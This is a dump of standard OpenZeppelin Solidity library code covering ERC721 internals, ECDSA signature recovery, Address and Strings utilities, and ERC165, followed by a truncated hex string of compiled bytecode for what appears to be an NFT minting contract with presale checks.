ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } }
0x6080604052600436106103285760003560e01c806383a9e049116101a5578063b967f5ac116100ec578063d6f9a62511610095578063e8a3d4851161006f578063e8a3d48514610897578063e985e9c5146108ac578063eb2b5f7f146108f5578063f2fde38b1461091557600080fd5b8063d6f9a62514610830578063df67dbd214610850578063e6b8645b1461087d57600080fd5b8063c87b56dd116100c6578063c87b56dd146107da578063d146cd09146107fa578063d5abeb011461081a57600080fd5b8063b967f5ac14610782578063b9ad9fde14610798578063b9c49dbd146107ad57600080fd5b8063a0712d681161014e578063b73c6ce911610128578063b73c6ce91461072d578063b7c7d9a714610742578063b88d4fde1461076257600080fd5b8063a0712d68146106da578063a22cb465146106ed578063a2b40d191461070d57600080fd5b8063938e3d7b1161017f578063938e3d7b1461069057806395d89b41146106b05780639e251758146106c557600080fd5b806383a9e049146106325780638905fd4f146106525780638da5cb5b1461067257600080fd5b806326d938001161027457806355f804b31161021d57806370a08231116101f757806370a08231146105d2578063715018a6146105f25780637b1b1de6146106075780637bffb4ce1461061d57600080fd5b806355f804b31461057f5780636352211e1461059f5780636b4ac000146105bf57600080fd5b806342966c681161024e57806342966c681461051f578063430c20811461053f5780634f6ccce71461055f57600080fd5b806326d93800146104c05780632f745c59146104df57806342842e0e146104ff57600080fd5b80630dc28efe116102d65780632142ab29116102b05780632142ab291461046a57806321b8092e1461048057806323b872dd146104a057600080fd5b80630dc28efe1461041e5780631072ec541461043157806318160ddd1461045557600080fd5b8063081812fc11610307578063081812fc146103a4578063095ea7b3146103dc5780630d0b21fb146103fe57600080fd5b8062923f9e1461032d57806301ffc9a71461036257806306fdde0314610382575b600080fd5b34801561033957600080fd5b5061034d61034836600461314a565b610935565b60405190151581526020015b60405180910390f35b34801561036e57600080fd5b5061034d61037d366004613179565b610956565b34801561038e57600080fd5b50610397610994565b60405161035991906131ee565b3480156103b057600080fd5b506103c46103bf36600461314a565b610a26565b6040516001600160a01b039091168152602001610359565b3480156103e857600080fd5b506103fc6103f7366004613216565b610ac0565b005b34801561040a57600080fd5b506103fc61041936600461314a565b610bf2565b6103fc61042c366004613242565b610c3f565b34801561043d57600080fd5b5061044760105481565b604051908152602001610359565b34801561046157600080fd5b50600854610447565b34801561047657600080fd5b50610447600f5481565b34801561048c57600080fd5b506103fc61049b366004613272565b610d76565b3480156104ac57600080fd5b506103fc6104bb36600461328f565b610de0565b3480156104cc57600080fd5b5060175461034d90610100900460ff1681565b3480156104eb57600080fd5b506104476104fa366004613216565b610e68565b34801561050b57600080fd5b506103fc61051a36600461328f565b610f10565b34801561052b57600080fd5b506103fc61053a36600461314a565b610f2b565b34801561054b57600080fd5b5061034d61055a366004613216565b610f8c565b34801561056b57600080fd5b5061044761057a36600461314a565b610f9f565b34801561058b57600080fd5b506103fc61059a36600461335c565b611043565b3480156105ab57600080fd5b506103c46105ba36600461314a565b6110f5565b6103fc6105cd3660046133c5565b611180565b3480156105de57600080fd5b506104476105ed366004613272565b6114e4565b3480156105fe57600080fd5b506103fc61157e565b34801561061357600080fd5b5061044760165481565b34801561062957600080fd5b506103fc6115d2565b34801561063e57600080fd5b5060175461034d9062010000900460ff1681565b34801561065e57600080fd5b506103fc61066d366004613272565b611639565b34801561067e57600080fd5b50600a546001600160a01b03166103c4565b34801561069c57600080fd5b506103fc6106ab36600461335c565b61177b565b3480156106bc57600080fd5b50610397611829565b3480156106d157600080fd5b506103fc611838565b6103fc6106e836600461314a565b61188f565b3480156106f957600080fd5b506103fc610708366004613423565b611ae4565b34801561071957600080fd5b506103fc61072836600461314a565b611ba9565b34801561073957600080fd5b506103fc611bf6565b34801561074e57600080fd5b506103fc61075d36600461314a565b611ce1565b34801561076e57600080fd5b506103fc61077d366004613451565b611d7f565b34801561078e57600080fd5b5061044760115481565b3480156107a457600080fd5b506103fc611e0d565b3480156107b957600080fd5b506104476107c8366004613272565b60126020526000908152604090205481565b3480156107e657600080fd5b506103976107f536600461314a565b611e72565b34801561080657600080fd5b506103fc61081536600461314a565b611f31565b34801561082657600080fd5b50610447600e5481565b34801561083c57600080fd5b506103fc61084b36600461314a565b611f7e565b34801561085c57600080fd5b5061044761086b366004613272565b60136020526000908152604090205481565b34801561088957600080fd5b5060175461034d9060ff1681565b3480156108a357600080fd5b50610397611fcb565b3480156108b857600080fd5b5061034d6108c73660046134bd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561090157600080fd5b506103fc610910366004613272565b611fda565b34801561092157600080fd5b506103fc610930366004613272565b612044565b6000818152600260205260408120546001600160a01b031615155b92915050565b60006001600160e01b031982167f780e9d63000000000000000000000000000000000000000000000000000000001480610950575061095082612111565b6060600080546109a3906134eb565b80601f01602080910402602001604051908101604052809291908181526020018280546109cf906134eb565b8015610a1c5780601f106109f157610100808354040283529160200191610a1c565b820191906000526020600020905b8154815290600101906020018083116109ff57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610aa45760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610acb826110f5565b9050806001600160a01b0316836001600160a01b03161415610b555760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610a9b565b336001600160a01b0382161480610b715750610b7181336108c7565b610be35760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a9b565b610bed83836121ac565b505050565b600a546001600160a01b03163314610c3a5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b600f55565b600a546001600160a01b03163314610c875760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b60008211610cd75760405162461bcd60e51b815260206004820152600f60248201527f6d696e696d756d203120746f6b656e00000000000000000000000000000000006044820152606401610a9b565b600e5482610ce460085490565b610cee919061353c565b1115610d3c5760405162461bcd60e51b815260206004820152600c60248201527f6f7574206f662073746f636b00000000000000000000000000000000000000006044820152606401610a9b565b60005b82811015610bed57610d6482610d5460085490565b610d5f90600161353c565b61221a565b80610d6e81613554565b915050610d3f565b600a546001600160a01b03163314610dbe5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b610deb335b82612234565b610e5d5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a9b565b610bed83838361232b565b6000610e73836114e4565b8210610ee75760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610a9b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610bed83838360405180602001604052806000815250611d7f565b610f3433610de5565b610f805760405162461bcd60e51b815260206004820181905260248201527f63616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665646044820152606401610a9b565b610f8981612503565b50565b6000610f988383612234565b9392505050565b6000610faa60085490565b821061101e5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610a9b565b600882815481106110315761103161356f565b90600052602060002001549050919050565b600a546001600160a01b0316331461108b5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b60175460ff16156110de5760405162461bcd60e51b815260206004820152601260248201527f4d65746164617461206973206c6f636b656400000000000000000000000000006044820152606401610a9b565b80516110f190600c9060208401906130b1565b5050565b6000818152600260205260408120546001600160a01b0316806109505760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610a9b565b6002600b5414156111d35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a9b565b6002600b553360009081526012602052604090205460175462010000900460ff166112405760405162461bcd60e51b815260206004820152601060248201527f50726573616c65206e6f74206c697665000000000000000000000000000000006044820152606401610a9b565b604080513360208083019190915282518083038201815282840184528051908201207f19457468657265756d205369676e6564204d6573736167653a0a3332000000006060840152607c8084019190915283518084039091018152609c909201909252805191012084146112f65760405162461bcd60e51b815260206004820152601160248201527f6861736820636865636b206661696c65640000000000000000000000000000006044820152606401610a9b565b601054611303838361353c565b11156113775760405162461bcd60e51b815260206004820152602260248201527f4578636565646564206d6178696d756d207072652073616c65207175616e746960448201527f74790000000000000000000000000000000000000000000000000000000000006064820152608401610a9b565b61138184846125aa565b6113cd5760405162461bcd60e51b815260206004820152601760248201527f446972656374206d696e7420756e617661696c61626c650000000000000000006044820152606401610a9b565b600f54826113da60085490565b6113e4919061353c565b11156114325760405162461bcd60e51b815260206004820152601460248201527f50726573616c65206f7574206f662073746f636b0000000000000000000000006044820152606401610a9b565b34826016546114419190613585565b1461147e5760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610a9b565b60005b828110156114be57600061149460085490565b61149f90600161353c565b90506114ab338261221a565b50806114b681613554565b915050611481565b506114c9828261353c565b3360009081526012602052604090205550506001600b555050565b60006001600160a01b0382166115625760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616